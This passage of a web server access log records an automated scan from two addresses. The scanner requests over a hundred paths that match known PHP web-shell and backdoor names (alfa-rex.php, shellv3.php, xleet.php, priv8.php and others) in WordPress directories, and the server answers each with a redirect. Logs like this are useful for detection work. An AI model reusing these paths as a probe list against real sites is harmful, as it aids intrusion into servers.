rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:17 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:18 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:18 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:22:18 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:22:18 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:18 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:19 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:22:19 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:19 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:20 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:22:20 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:20 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:20 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 